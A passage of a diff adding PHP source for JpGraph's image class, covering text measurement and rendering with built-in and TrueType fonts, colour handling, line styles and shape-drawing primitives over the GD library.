+		}
+		if( USE_TRUECOLOR ) {
+		    $tmpimg = @imagecreatetruecolor($toWidth, $toHeight);
+		} else {
+		    $tmpimg = @imagecreate($toWidth, $toHeight);	
+		}	    
+		if( $tmpimg < 1 ) {
+		    JpGraphError::RaiseL(25084);//('Failed to create temporary GD canvas. Out of memory ?');
+		}
+		$this->CopyCanvasH($tmpimg,$fromImg,0,0,0,0,
+				   $toWidth,$toHeight,$fromWidth,$fromHeight);
+		$fromImg = $tmpimg;
+	    }
+	    imagecopymerge($this->img,$fromImg,$toX,$toY,$fromX,$fromY,$toWidth,$toHeight,$aMix);
+	}
+    }
+
+    static function GetWidth($aImg=null) {
+	if( $aImg === null ) 
+	    $aImg = $this->img;
+	return imagesx($aImg);
+    }
+
+    static function GetHeight($aImg=null) {
+	if( $aImg === null ) 
+	    $aImg = $this->img;
+	return imagesy($aImg);
+    }
+    
+    static function CreateFromString($aStr) {
+	$img = imagecreatefromstring($aStr);
+	if( $img === false ) {
+	    JpGraphError::RaiseL(25085);//('An image can not be created from the supplied string. It is either in a format not supported or the string is representing an corrupt image.');
+	}
+	return $img;
+    }
+
+    function SetCanvasH($aHdl) {
+	$this->img = $aHdl;
+	$this->rgb->img = $aHdl;
+    }
+
+    function SetCanvasColor($aColor) {
+	$this->canvascolor = $aColor ;
+    }
+
+    function SetAlphaBlending($aFlg=true) {
+	ImageAlphaBlending($this->img,$aFlg);
+    }
+
+	
+    function SetAutoMargin() {	
+	GLOBAL $gJpgBrandTiming;
+	$min_bm=5;
+	/*
+	if( $gJpgBrandTiming )
+	    $min_bm=15;		
+	*/
+	$lm = min(40,$this->width/7);
+	$rm = min(20,$this->width/10);
+	$tm = max(5,$this->height/7);
+	$bm = max($min_bm,$this->height/7);
+	$this->SetMargin($lm,$rm,$tm,$bm);		
+    }
+
+				
+    //---------------
+    // PUBLIC METHODS	
+	
+    function SetFont($family,$style=FS_NORMAL,$size=10) {
+	$this->font_family=$family;
+	$this->font_style=$style;
+	$this->font_size=$size;
+	$this->font_file='';
+	if( ($this->font_family==FF_FONT1 || $this->font_family==FF_FONT2) && $this->font_style==FS_BOLD ){
+	    ++$this->font_family;
+	}
+	if( $this->font_family > FF_FONT2+1 ) { // A TTF font so get the font file
+
+	    // Check that this PHP has support for TTF fonts
+	    if( !function_exists('imagettfbbox') ) {
+		JpGraphError::RaiseL(25087);//('This PHP build has not been configured with TTF support. You need to recompile your PHP installation with FreeType support.');
+	    }
+	    $this->font_file = $this->ttf->File($this->font_family,$this->font_style);
+	}
+    }
+
+    // Get the specific height for a text string
+    function GetTextHeight($txt="",$angle=0) {
+	$tmp = split("\n",$txt);
+	$n = count($tmp);
+	$m=0;
+	for($i=0; $i< $n; ++$i)
+	    $m = max($m,strlen($tmp[$i]));
+
+	if( $this->font_family <= FF_FONT2+1 ) {
+	    if( $angle==0 ) {
+		$h = imagefontheight($this->font_family);
+		if( $h === false ) {
+		    JpGraphError::RaiseL(25088);//('You have a misconfigured GD font support. The call to imagefontwidth() fails.');
+		}
+
+		return $n*$h;
+	    }
+	    else {
+		$w = @imagefontwidth($this->font_family);
+		if( $w === false ) {
+		    JpGraphError::RaiseL(25088);//('You have a misconfigured GD font support. The call to imagefontwidth() fails.');
+		}
+
+		return $m*$w;
+	    }
+	}
+	else {
+	    $bbox = $this->GetTTFBBox($txt,$angle);
+	    return $bbox[1]-$bbox[5];
+	}
+    }
+	
+    // Estimate font height
+    function GetFontHeight($angle=0) {
+	$txt = "XOMg";
+	return $this->GetTextHeight($txt,$angle);
+    }
+	
+    // Approximate font width with width of letter "O"
+    function GetFontWidth($angle=0) {
+	$txt = 'O';
+	return $this->GetTextWidth($txt,$angle);
+    }
+	
+    // Get actual width of text in absolute pixels
+    function GetTextWidth($txt,$angle=0) {
+
+	$tmp = split("\n",$txt);
+	$n = count($tmp);
+	if( $this->font_family <= FF_FONT2+1 ) {
+
+	    $m=0;
+	    for($i=0; $i < $n; ++$i) {
+		$l=strlen($tmp[$i]);
+		if( $l > $m ) {
+		    $m = $l;
+		}
+	    }
+
+	    if( $angle==0 ) {
+		$w = @imagefontwidth($this->font_family);
+		if( $w === false ) {
+		    JpGraphError::RaiseL(25088);//('You have a misconfigured GD font support. The call to imagefontwidth() fails.');
+		}
+		return $m*$w;
+	    }
+	    else {
+		// 90 degrees internal so height becomes width
+		$h = @imagefontheight($this->font_family); 
+		if( $h === false ) {
+		    JpGraphError::RaiseL(25089);//('You have a misconfigured GD font support. The call to imagefontheight() fails.');
+		}
+		return $n*$h;
+	    }
+	}
+	else {
+	    // For TTF fonts we must walk through a lines and find the 
+	    // widest one which we use as the width of the multi-line
+	    // paragraph
+	    $m=0;
+	    for( $i=0; $i < $n; ++$i ) {
+		$bbox = $this->GetTTFBBox($tmp[$i],$angle);
+		$mm =  $bbox[2] - $bbox[0];
+		if( $mm > $m ) 
+		    $m = $mm;
+	    }
+	    return $m;
+	}
+    }
+	
+    // Draw text with a box around it
+    function StrokeBoxedText($x,$y,$txt,$dir=0,$fcolor="white",$bcolor="black",
+			     $shadowcolor=false,$paragraph_align="left",
+			     $xmarg=6,$ymarg=4,$cornerradius=0,$dropwidth=3) {
+
+	if( !is_numeric($dir) ) {
+	    if( $dir=="h" ) $dir=0;
+	    elseif( $dir=="v" ) $dir=90;
+	    else JpGraphError::RaiseL(25090,$dir);//(" Unknown direction specified in call to StrokeBoxedText() [$dir]");
+	}
+		
+	if( $this->font_family >= FF_FONT0 && $this->font_family <= FF_FONT2+1) {	
+	    $width=$this->GetTextWidth($txt,$dir) ;
+	    $height=$this->GetTextHeight($txt,$dir) ;
+	}
+	else {
+	    $width=$this->GetBBoxWidth($txt,$dir) ;
+	    $height=$this->GetBBoxHeight($txt,$dir) ;
+	}
+
+	$height += 2*$ymarg;
+	$width  += 2*$xmarg;
+
+	if( $this->text_halign=="right" ) $x -= $width;
+	elseif( $this->text_halign=="center" ) $x -= $width/2;
+	if( $this->text_valign=="bottom" ) $y -= $height;
+	elseif( $this->text_valign=="center" ) $y -= $height/2;
+	
+	$olda = $this->SetAngle(0);
+
+	if( $shadowcolor ) {
+	    $this->PushColor($shadowcolor);
+	    $this->FilledRoundedRectangle($x-$xmarg+$dropwidth,$y-$ymarg+$dropwidth,
+					  $x+$width+$dropwidth,$y+$height-$ymarg+$dropwidth,
+					  $cornerradius);
+	    $this->PopColor();
+	    $this->PushColor($fcolor);
+	    $this->FilledRoundedRectangle($x-$xmarg,$y-$ymarg,
+					  $x+$width,$y+$height-$ymarg,
+					  $cornerradius);		
+	    $this->PopColor();
+	    $this->PushColor($bcolor);
+	    $this->RoundedRectangle($x-$xmarg,$y-$ymarg,
+				    $x+$width,$y+$height-$ymarg,$cornerradius);
+	    $this->PopColor();
+	}
+	else {
+	    if( $fcolor ) {
+		$oc=$this->current_color;
+		$this->SetColor($fcolor);
+		$this->FilledRoundedRectangle($x-$xmarg,$y-$ymarg,$x+$width,$y+$height-$ymarg,$cornerradius);
+		$this->current_color=$oc;
+	    }
+	    if( $bcolor ) {
+		$oc=$this->current_color;
+		$this->SetColor($bcolor);			
+		$this->RoundedRectangle($x-$xmarg,$y-$ymarg,$x+$width,$y+$height-$ymarg,$cornerradius);
+		$this->current_color=$oc;			
+	    }
+	}
+		
+	$h=$this->text_halign;
+	$v=$this->text_valign;
+	$this->SetTextAlign("left","top");
+	$this->StrokeText($x, $y, $txt, $dir, $paragraph_align);
+	$bb = array($x-$xmarg,$y+$height-$ymarg,$x+$width,$y+$height-$ymarg,
+		    $x+$width,$y-$ymarg,$x-$xmarg,$y-$ymarg);
+	$this->SetTextAlign($h,$v);
+
+	$this->SetAngle($olda);
+
+	return $bb;
+    }
+
+    // Set text alignment	
+    function SetTextAlign($halign,$valign="bottom") {
+	$this->text_halign=$halign;
+	$this->text_valign=$valign;
+    }
+	
+
+    function _StrokeBuiltinFont($x,$y,$txt,$dir=0,$paragraph_align="left",&$aBoundingBox,$aDebug=false) {
+
+	if( is_numeric($dir) && $dir!=90 && $dir!=0) 
+	    JpGraphError::RaiseL(25091);//(" Internal font does not support drawing text at arbitrary angle. Use TTF fonts instead.");
+
+	$h=$this->GetTextHeight($txt);
+	$fh=$this->GetFontHeight();
+	$w=$this->GetTextWidth($txt);
+	
+	if( $this->text_halign=="right") 				
+	    $x -= $dir==0 ? $w : $h;
+	elseif( $this->text_halign=="center" ) {
+	    // For center we subtract 1 pixel since this makes the middle
+	    // be prefectly in the middle
+	    $x -= $dir==0 ? $w/2-1 : $h/2;
+	}
+	if( $this->text_valign=="top" )
+	    $y += $dir==0 ? $h : $w;
+	elseif( $this->text_valign=="center" ) 				
+	    $y += $dir==0 ? $h/2 : $w/2;
+	
+	if( $dir==90 ) {
+	    imagestringup($this->img,$this->font_family,$x,$y,$txt,$this->current_color);
+	    $aBoundingBox = array(round($x),round($y),round($x),round($y-$w),round($x+$h),round($y-$w),round($x+$h),round($y));
+            if( $aDebug ) {
+		// Draw bounding box
+		$this->PushColor('green');
+		$this->Polygon($aBoundingBox,true);
+		$this->PopColor();
+	    }
+	}
+	else {
+	    if( preg_match('/\n/',$txt) ) { 
+		$tmp = split("\n",$txt);
+		for($i=0; $i < count($tmp); ++$i) {
+		    $w1 = $this->GetTextWidth($tmp[$i]);
+		    if( $paragraph_align=="left" ) {
+			imagestring($this->img,$this->font_family,$x,$y-$h+1+$i*$fh,$tmp[$i],$this->current_color);
+		    }
+		    elseif( $paragraph_align=="right" ) {
+			imagestring($this->img,$this->font_family,$x+($w-$w1),
+				    $y-$h+1+$i*$fh,$tmp[$i],$this->current_color);
+		    }
+		    else {
+			imagestring($this->img,$this->font_family,$x+$w/2-$w1/2,
+				    $y-$h+1+$i*$fh,$tmp[$i],$this->current_color);
+		    }
+		}
+	    } 
+	    else {
+		//Put the text
+		imagestring($this->img,$this->font_family,$x,$y-$h+1,$txt,$this->current_color);
+	    }
+            if( $aDebug ) {
+		// Draw the bounding rectangle and the bounding box
+		$p1 = array(round($x),round($y),round($x),round($y-$h),round($x+$w),round($y-$h),round($x+$w),round($y));
+		
+		// Draw bounding box
+		$this->PushColor('green');
+		$this->Polygon($p1,true);
+		$this->PopColor();
+
+            }
+	    $aBoundingBox=array(round($x),round($y),round($x),round($y-$h),round($x+$w),round($y-$h),round($x+$w),round($y));
+	}
+    }
+
+    function AddTxtCR($aTxt) {
+	// If the user has just specified a '\n'
+	// instead of '\n\t' we have to add '\r' since
+	// the width will be too muchy otherwise since when
+	// we print we stroke the individually lines by hand.
+	$e = explode("\n",$aTxt);
+	$n = count($e);
+	for($i=0; $i<$n; ++$i) {
+	    $e[$i]=str_replace("\r","",$e[$i]);
+	}
+	return implode("\n\r",$e);
+    }
+
+    function GetTTFBBox($aTxt,$aAngle=0) {
+	$bbox = @ImageTTFBBox($this->font_size,$aAngle,$this->font_file,$aTxt);
+	if( $bbox === false ) {
+	    JpGraphError::RaiseL(25092,$this->font_file);
+//("There is either a configuration problem with TrueType or a problem reading font file (".$this->font_file."). Make sure file exists and is in a readable place for the HTTP process. (If 'basedir' restriction is enabled in PHP then the font file must be located in the document root.). It might also be a wrongly installed FreeType library. Try uppgrading to at least FreeType 2.1.13 and recompile GD with the correct setup so it can find the new FT library.");
+	}
+	return $bbox;
+    }
+
+    function GetBBoxTTF($aTxt,$aAngle=0) {
+	// Normalize the bounding box to become a minimum
+	// enscribing rectangle
+
+	$aTxt = $this->AddTxtCR($aTxt);
+
+	if( !is_readable($this->font_file) ) {
+	    JpGraphError::RaiseL(25093,$this->font_file);
+//('Can not read font file ('.$this->font_file.') in call to Image::GetBBoxTTF. Please make sure that you have set a font before calling this method and that the font is installed in the TTF directory.');
+	}
+	$bbox = $this->GetTTFBBox($aTxt,$aAngle);
+
+	if( $aAngle==0 ) 
+	    return $bbox;
+	if( $aAngle >= 0 ) {
+	    if(  $aAngle <= 90 ) { //<=0		
+		$bbox = array($bbox[6],$bbox[1],$bbox[2],$bbox[1],
+			      $bbox[2],$bbox[5],$bbox[6],$bbox[5]);
+	    }
+	    elseif(  $aAngle <= 180 ) { //<= 2
+		$bbox = array($bbox[4],$bbox[7],$bbox[0],$bbox[7],
+			      $bbox[0],$bbox[3],$bbox[4],$bbox[3]);
+	    }
+	    elseif(  $aAngle <= 270 )  { //<= 3
+		$bbox = array($bbox[2],$bbox[5],$bbox[6],$bbox[5],
+			      $bbox[6],$bbox[1],$bbox[2],$bbox[1]);
+	    }
+	    else {
+		$bbox = array($bbox[0],$bbox[3],$bbox[4],$bbox[3],
+			      $bbox[4],$bbox[7],$bbox[0],$bbox[7]);
+	    }
+	}
+	elseif(  $aAngle < 0 ) {
+	    if( $aAngle <= -270 ) { // <= -3
+		$bbox = array($bbox[6],$bbox[1],$bbox[2],$bbox[1],
+			      $bbox[2],$bbox[5],$bbox[6],$bbox[5]);
+	    }
+	    elseif( $aAngle <= -180 ) { // <= -2
+		$bbox = array($bbox[0],$bbox[3],$bbox[4],$bbox[3],
+			      $bbox[4],$bbox[7],$bbox[0],$bbox[7]);
+	    }
+	    elseif( $aAngle <= -90 ) { // <= -1
+		$bbox = array($bbox[2],$bbox[5],$bbox[6],$bbox[5],
+			      $bbox[6],$bbox[1],$bbox[2],$bbox[1]);
+	    }
+	    else {
+		$bbox = array($bbox[0],$bbox[3],$bbox[4],$bbox[3],
+			      $bbox[4],$bbox[7],$bbox[0],$bbox[7]);
+	    }
+	}	
+	return $bbox;
+    }
+
+    function GetBBoxHeight($aTxt,$aAngle=0) {
+	$box = $this->GetBBoxTTF($aTxt,$aAngle);
+	return $box[1]-$box[7]+1;
+    }
+
+    function GetBBoxWidth($aTxt,$aAngle=0) {
+	$box = $this->GetBBoxTTF($aTxt,$aAngle);
+	return $box[2]-$box[0]+1;	
+    }
+
+    function _StrokeTTF($x,$y,$txt,$dir=0,$paragraph_align="left",&$aBoundingBox,$debug=false) {
+
+	// Setupo default inter line margin for paragraphs to
+	// 25% of the font height.
+	$ConstLineSpacing = 0.25 ;
+
+	// Remember the anchor point before adjustment
+	if( $debug ) {
+	    $ox=$x;
+	    $oy=$y;
+	}
+
+	if( !preg_match('/\n/',$txt) || ($dir>0 && preg_match('/\n/',$txt)) ) {
+	    // Format a single line
+
+	    $txt = $this->AddTxtCR($txt);
+
+	    $bbox=$this->GetBBoxTTF($txt,$dir);
+	    
+	    // Align x,y ot lower left corner of bbox
+	    $x -= $bbox[0];
+	    $y -= $bbox[1];
+
+	    // Note to self: "topanchor" is deprecated after we changed the
+	    // bopunding box stuff. 
+	    if( $this->text_halign=="right" || $this->text_halign=="topanchor" ) 
+		$x -= $bbox[2]-$bbox[0];
+	    elseif( $this->text_halign=="center" ) $x -= ($bbox[2]-$bbox[0])/2; 
+	    
+	    if( $this->text_valign=="top" ) $y += abs($bbox[5])+$bbox[1];
+	    elseif( $this->text_valign=="center" ) $y -= ($bbox[5]-$bbox[1])/2; 
+
+	    ImageTTFText ($this->img, $this->font_size, $dir, $x, $y, 
+			  $this->current_color,$this->font_file,$txt); 
+
+	    // Calculate and return the co-ordinates for the bounding box
+	    $box=@ImageTTFBBox($this->font_size,$dir,$this->font_file,$txt);
+	    $p1 = array();
+
+
+	    for($i=0; $i < 4; ++$i) {
+		$p1[] = round($box[$i*2]+$x);
+		$p1[] = round($box[$i*2+1]+$y);
+	    }
+	    $aBoundingBox = $p1;
+
+	    // Debugging code to highlight the bonding box and bounding rectangle
+	    // For text at 0 degrees the bounding box and bounding rectangle are the
+	    // same
+            if( $debug ) {
+		// Draw the bounding rectangle and the bounding box
+		$box=@ImageTTFBBox($this->font_size,$dir,$this->font_file,$txt);
+		$p = array();
+		$p1 = array();
+		for($i=0; $i < 4; ++$i) {
+		    $p[] = $bbox[$i*2]+$x;
+		    $p[] = $bbox[$i*2+1]+$y;
+		    $p1[] = $box[$i*2]+$x;
+		    $p1[] = $box[$i*2+1]+$y;
+		}
+
+		// Draw bounding box
+		$this->PushColor('green');
+		$this->Polygon($p1,true);
+		$this->PopColor();
+		
+		// Draw bounding rectangle
+		$this->PushColor('darkgreen');
+		$this->Polygon($p,true);
+		$this->PopColor();
+		
+		// Draw a cross at the anchor point
+		$this->PushColor('red');
+		$this->Line($ox-15,$oy,$ox+15,$oy);
+		$this->Line($ox,$oy-15,$ox,$oy+15);
+		$this->PopColor();
+            }
+	}
+	else {
+	    // Format a text paragraph
+	    $fh=$this->GetFontHeight();
+
+	    // Line margin is 25% of font height
+	    $linemargin=round($fh*$ConstLineSpacing);
+	    $fh += $linemargin;
+	    $w=$this->GetTextWidth($txt);
+
+	    $y -= $linemargin/2;
+	    $tmp = split("\n",$txt);
+	    $nl = count($tmp);
+	    $h = $nl * $fh;
+
+	    if( $this->text_halign=="right") 				
+		$x -= $dir==0 ? $w : $h;
+	    elseif( $this->text_halign=="center" ) {
+		$x -= $dir==0 ? $w/2 : $h/2;
+	    }
+	    
+	    if( $this->text_valign=="top" )
+		$y +=	$dir==0 ? $h : $w;
+	    elseif( $this->text_valign=="center" ) 				
+		$y +=	$dir==0 ? $h/2 : $w/2;
+
+	    // Here comes a tricky bit. 
+	    // Since we have to give the position for the string at the
+	    // baseline this means thaht text will move slightly up
+	    // and down depending on any of it's character descend below
+	    // the baseline, for example a 'g'. To adjust the Y-position
+	    // we therefore adjust the text with the baseline Y-offset
+	    // as used for the current font and size. This will keep the
+	    // baseline at a fixed positoned disregarding the actual 
+	    // characters in the string. 
+	    $standardbox = $this->GetTTFBBox('Gg',$dir);
+	    $yadj = $standardbox[1];
+	    $xadj = $standardbox[0];
+	    $aBoundingBox = array();
+	    for($i=0; $i < $nl; ++$i) {
+		$wl = $this->GetTextWidth($tmp[$i]);
+		$bbox = $this->GetTTFBBox($tmp[$i],$dir);
+		if( $paragraph_align=="left" ) {
+		    $xl = $x; 
+		}
+		elseif( $paragraph_align=="right" ) {
+		    $xl = $x + ($w-$wl);
+		}
+		else {
+		    // Center
+		    $xl = $x + $w/2 - $wl/2 ;
+		}
+
+		$xl -= $bbox[0];
+		$yl = $y - $yadj; 
+		$xl = $xl - $xadj; 
+		ImageTTFText ($this->img, $this->font_size, $dir, 
+			      $xl, $yl-($h-$fh)+$fh*$i,
+			      $this->current_color,$this->font_file,$tmp[$i]); 
+
+		if( $debug  ) {
+		    // Draw the bounding rectangle around each line
+		    $box=@ImageTTFBBox($this->font_size,$dir,$this->font_file,$tmp[$i]);
+		    $p = array();
+		    for($j=0; $j < 4; ++$j) {
+			$p[] = $bbox[$j*2]+$xl;
+			$p[] = $bbox[$j*2+1]+$yl-($h-$fh)+$fh*$i;
+		    }
+		    
+		    // Draw bounding rectangle
+		    $this->PushColor('darkgreen');
+		    $this->Polygon($p,true);
+		    $this->PopColor();
+		}
+	    }
+
+	    // Get the bounding box
+	    $bbox = $this->GetBBoxTTF($txt,$dir);
+	    for($j=0; $j < 4; ++$j) {
+		$bbox[$j*2]+= round($x);
+		$bbox[$j*2+1]+= round($y - ($h-$fh) - $yadj);
+	    }
+	    $aBoundingBox = $bbox;
+
+	    if( $debug ) {	
+		// Draw a cross at the anchor point
+		$this->PushColor('red');
+		$this->Line($ox-25,$oy,$ox+25,$oy);
+		$this->Line($ox,$oy-25,$ox,$oy+25);
+		$this->PopColor();
+	    }
+
+	}
+    }
+	
+    function StrokeText($x,$y,$txt,$dir=0,$paragraph_align="left",$debug=false) {
+
+	$x = round($x);
+	$y = round($y);
+
+	// Do special language encoding
+	$txt = $this->langconv->Convert($txt,$this->font_family);
+
+	if( !is_numeric($dir) )
+	    JpGraphError::RaiseL(25094);//(" Direction for text most be given as an angle between 0 and 90.");
+			
+	if( $this->font_family >= FF_FONT0 && $this->font_family <= FF_FONT2+1) {	
+	    $this->_StrokeBuiltinFont($x,$y,$txt,$dir,$paragraph_align,$boundingbox,$debug);
+	}
+	elseif($this->font_family >= _FIRST_FONT && $this->font_family <= _LAST_FONT)  {
+	    $this->_StrokeTTF($x,$y,$txt,$dir,$paragraph_align,$boundingbox,$debug);
+	}
+	else
+	    JpGraphError::RaiseL(25095);//(" Unknown font font family specification. ");
+	return $boundingbox;
+    }
+	
+    function SetMargin($lm,$rm,$tm,$bm) {
+	$this->left_margin=$lm;
+	$this->right_margin=$rm;
+	$this->top_margin=$tm;
+	$this->bottom_margin=$bm;
+	$this->plotwidth=$this->width - $this->left_margin-$this->right_margin ; 
+	$this->plotheight=$this->height - $this->top_margin-$this->bottom_margin ;
+	if( $this->width  > 0 && $this->height > 0 ) {
+	    if( $this->plotwidth < 0  || $this->plotheight < 0 )
+		JpGraphError::raise("To small plot area. ($lm,$rm,$tm,$bm : $this->plotwidth x $this->plotheight). With the given image size and margins there is to little space left for the plot. Increase the plot size or reduce the margins.");
+	}
+    }
+
+    function SetTransparent($color) {
+	imagecolortransparent ($this->img,$this->rgb->allocate($color));
+    }
+	
+    function SetColor($color,$aAlpha=0) {
+	$this->current_color_name = $color;
+	$this->current_color=$this->rgb->allocate($color,$aAlpha);
+	if( $this->current_color == -1 ) {
+	    $tc=imagecolorstotal($this->img);
+	    JpGraphError::RaiseL(25096);
+//("Can't allocate any more colors. Image has already allocated maximum of <b>$tc colors</b>. This might happen if you have anti-aliasing turned on together with a background image or perhaps gradient fill since this requires many, many colors. Try to turn off anti-aliasing. If there is still a problem try downgrading the quality of the background image to use a smaller pallete to leave some entries for your graphs. You should try to limit the number of colors in your background image to 64. If there is still problem set the constant DEFINE(\"USE_APPROX_COLORS\",true); in jpgraph.php This will use approximative colors when the palette is full. Unfortunately there is not much JpGraph can do about this since the palette size is a limitation of current graphic format and what the underlying GD library suppports."); 
+	}
+	return $this->current_color;
+    }
+	
+    function PushColor($color) {
+	if( $color != "" ) {
+	    $this->colorstack[$this->colorstackidx]=$this->current_color_name;
+	    $this->colorstack[$this->colorstackidx+1]=$this->current_color;
+	    $this->colorstackidx+=2;
+	    $this->SetColor($color);
+	}
+	else {
+	    JpGraphError::RaiseL(25097);//("Color specified as empty string in PushColor().");
+	}
+    }
+	
+    function PopColor() {
+	if($this->colorstackidx<1)
+	    JpGraphError::RaiseL(25098);//(" Negative Color stack index. Unmatched call to PopColor()");
+	$this->current_color=$this->colorstack[--$this->colorstackidx];
+	$this->current_color_name=$this->colorstack[--$this->colorstackidx];
+    }
+	
+	
+    function SetLineWeight($weight) {
+	imagesetthickness($this->img,$weight);
+	$this->line_weight = $weight;
+    }
+	
+    function SetStartPoint($x,$y) {
+	$this->lastx=round($x);
+	$this->lasty=round($y);
+    }
+	
+    function Arc($cx,$cy,$w,$h,$s,$e) {
+	// GD Arc doesn't like negative angles
+	while( $s < 0) $s += 360;
+	while( $e < 0) $e += 360;
+    	
+	imagearc($this->img,round($cx),round($cy),round($w),round($h),
+		 $s,$e,$this->current_color);
+    }
+    
+    function FilledArc($xc,$yc,$w,$h,$s,$e,$style='') {
+	while( $s < 0 ) $s += 360;
+	while( $e < 0 ) $e += 360;
+	if( $style=='' ) 
+	    $style=IMG_ARC_PIE;
+	if( abs($s-$e) > 0.001 ) {
+	    imagefilledarc($this->img,round($xc),round($yc),round($w),round($h),
+			   round($s),round($e),$this->current_color,$style);
+	}
+    }
+
+    function FilledCakeSlice($cx,$cy,$w,$h,$s,$e) {
+	$this->CakeSlice($cx,$cy,$w,$h,$s,$e,$this->current_color_name);
+    }
+
+    function CakeSlice($xc,$yc,$w,$h,$s,$e,$fillcolor="",$arccolor="") {
+	$s = round($s); $e = round($e);
+	$w = round($w); $h = round($h);
+	$xc = round($xc); $yc = round($yc);
+	if( $s ==$e ) {
+	    // A full circle. We draw this a plain circle
+	    $this->PushColor($fillcolor);
+	    imagefilledellipse($this->img,$xc,$yc,2*$w,2*$h,$this->current_color);
+	    $this->PopColor();
+	    $this->PushColor($arccolor);
+	    imageellipse($this->img,$xc,$yc,2*$w,2*$h,$this->current_color);
+	    $this->Line($xc,$yc,cos($s*M_PI/180)*$w+$xc,$yc+sin($s*M_PI/180)*$h);
+	    $this->PopColor();
+	}
+	else {
+	    $this->PushColor($fillcolor);
+	    $this->FilledArc($xc,$yc,2*$w,2*$h,$s,$e);
+	    $this->PopColor();
+	    if( $arccolor != "" ) {
+		$this->PushColor($arccolor);
+		// We add 2 pixels to make the Arc() better aligned with
+		// the filled arc. 
+		imagefilledarc($this->img,$xc,$yc,2*$w,2*$h,$s,$e,$this->current_color,IMG_ARC_NOFILL | IMG_ARC_EDGED ) ;
+		$this->PopColor();
+	    }
+	}
+    }
+
+    function Ellipse($xc,$yc,$w,$h) {
+	$this->Arc($xc,$yc,$w,$h,0,360);
+    }
+			
+    function Circle($xc,$yc,$r) {
+	imageellipse($this->img,round($xc),round($yc),$r*2,$r*2,$this->current_color);
+    }
+	
+    function FilledCircle($xc,$yc,$r) {
+	imagefilledellipse($this->img,round($xc),round($yc),2*$r,2*$r,$this->current_color);
+    }
+	
+    // Linear Color InterPolation
+    function lip($f,$t,$p) {
+	$p = round($p,1);
+	$r = $f[0] + ($t[0]-$f[0])*$p;
+	$g = $f[1] + ($t[1]-$f[1])*$p;
+	$b = $f[2] + ($t[2]-$f[2])*$p;
+	return array($r,$g,$b);
+    }
+
+    // Set line style dashed, dotted etc
+    function SetLineStyle($s) {
+	if( is_numeric($s) ) {
+	    if( $s<1 || $s>4 ) 
+		JpGraphError::RaiseL(25101,$s);//(" Illegal numeric argument to SetLineStyle(): ($s)");
+	}
+	elseif( is_string($s) ) {
+	    if( $s == "solid" ) $s=1;
+	    elseif( $s == "dotted" ) $s=2;
+	    elseif( $s == "dashed" ) $s=3;
+	    elseif( $s == "longdashed" ) $s=4;
+	    else JpGraphError::RaiseL(25102,$s);//(" Illegal string argument to SetLineStyle(): $s");
+	}
+	else { 
+	    JpGraphError::RaiseL(25103,$s);//(" Illegal argument to SetLineStyle $s");
+	}
+	$old = $this->line_style;
+	$this->line_style=$s;
+	return $old;
+    }
+	
+    // Same as Line but take the line_style into account
+    function StyleLine($x1,$y1,$x2,$y2,$aStyle='') {
+	if( $this->line_weight <= 0 )
+	    return;
+
+	if( $aStyle === '' ) {
+	    $aStyle = $this->line_style;
+	}
+
+	// Add error check since dashed line will only work if anti-alias is disabled
+	// this is a limitation in GD
+
+	switch( $aStyle ) {
+	    case 1:// Solid
+		$this->Line($x1,$y1,$x2,$y2);
+		break;
+	    case 2: // Dotted
+		$this->DashedLine($x1,$y1,$x2,$y2,2,6);
+		break;
+	    case 3: // Dashed
+		$this->DashedLine($x1,$y1,$x2,$y2,5,9);
+		break;
+	    case 4: // Longdashes
+		$this->DashedLine($x1,$y1,$x2,$y2,9,13);
+		break;
+	    default:
+		JpGraphError::RaiseL(25104,$this->line_style);//(" Unknown line style: $this->line_style ");
+		break;
+	}
+    }
+	
+    function DashedLine($x1,$y1,$x2,$y2,$dash_length=1,$dash_space=4) {
+
+	if( $this->line_weight <= 0 )
+	    return;
+
+	// Add error check to make sure anti-alias is not enabled.
+	// Dashed line does not work with anti-alias enabled. This 
+	// is a limitation in GD.
+	if( $this->use_anti_aliasing ) {
+	    JpGraphError::RaiseL(25129); // Anti-alias can not be used with dashed lines. Please disable anti-alias or use solid lines. 
+	}
+	
+
+	$x1 = round($x1);
+	$x2 = round($x2);
+	$y1 = round($y1);
+	$y2 = round($y2);
+
+	$style = array_fill(0,$dash_length,$this->current_color);
+	$style = array_pad($style,$dash_space,IMG_COLOR_TRANSPARENT);
+	imagesetstyle($this->img, $style);
+	imageline($this->img, $x1, $y1, $x2, $y2, IMG_COLOR_STYLED);
+	$this->lastx=$x2; $this->lasty=$y2;		
+    } 
+
+    function Line($x1,$y1,$x2,$y2) {
+
+	if( $this->line_weight <= 0 )
+	    return;
+
+	$x1 = round($x1);
+	$x2 = round($x2);
+	$y1 = round($y1);
+	$y2 = round($y2);
+
+	imageline($this->img,$x1,$y1,$x2,$y2,$this->current_color);
+	$this->lastx=$x2; $this->lasty=$y2;		
+    }
+
+    function Polygon($p,$closed=FALSE,$fast=FALSE) {
+
+	if( $this->line_weight <= 0 ) 
+	    return;
+
+	$n=count($p);
+	$oldx = $p[0];
+	$oldy = $p[1];
+	if( $fast ) {
+	    for( $i=2; $i < $n; $i+=2 ) {
+		imageline($this->img,$oldx,$oldy,$p[$i],$p[$i+1],$this->current_color);
+		$oldx = $p[$i];
+		$oldy = $p[$i+1];
+	    }
+	    if( $closed ) {
+		imageline($this->img,$p[$n*2-2],$p[$n*2-1],$p[0],$p[1],$this->current_color);
+	    }
+	}
+	else {
+	    for( $i=2; $i < $n; $i+=2 ) {
+		$this->StyleLine($oldx,$oldy,$p[$i],$p[$i+1]);
+		$oldx = $p[$i];
+		$oldy = $p[$i+1];
+	    }
+	    if( $closed )
+		$this->StyleLine($oldx,$oldy,$p[0],$p[1]);
+	}
+    }
+	
+    function FilledPolygon($pts) {
+	$n=count($pts);
+	if( $n == 0 ) {
+	    JpGraphError::RaiseL(25105);//('NULL data specified for a filled polygon. Check that your data is not NULL.');
+	}
+	for($i=0; $i < $n; ++$i) 
+	    $pts[$i] = round($pts[$i]);
+	imagefilledpolygon($this->img,$pts,count($pts)/2,$this->current_color);
+    }
+	
+    function Rectangle($xl,$yu,$xr,$yl) {
+	$this->Polygon(array($xl,$yu,$xr,$yu,$xr,$yl,$xl,$yl,$xl,$yu));
+    }
+	
+    function FilledRectangle($xl,$yu,$xr,$yl) {
+	$this->FilledPolygon(array($xl,$yu,$xr,$yu,$xr,$yl,$xl,$yl));
+    }
+
+    function FilledRectangle2($xl,$yu,$xr,$yl,$color1,$color2,$style=1) {
+	// Fill a rectangle with lines of two colors
+	if( $style===1 ) {
+	    // Horizontal stripe
+	    if( $yl < $yu ) {
+		$t = $yl; $yl=$yu; $yu=$t;
+	    }
+	    for( $y=$yu; $y <= $yl; ++$y) {
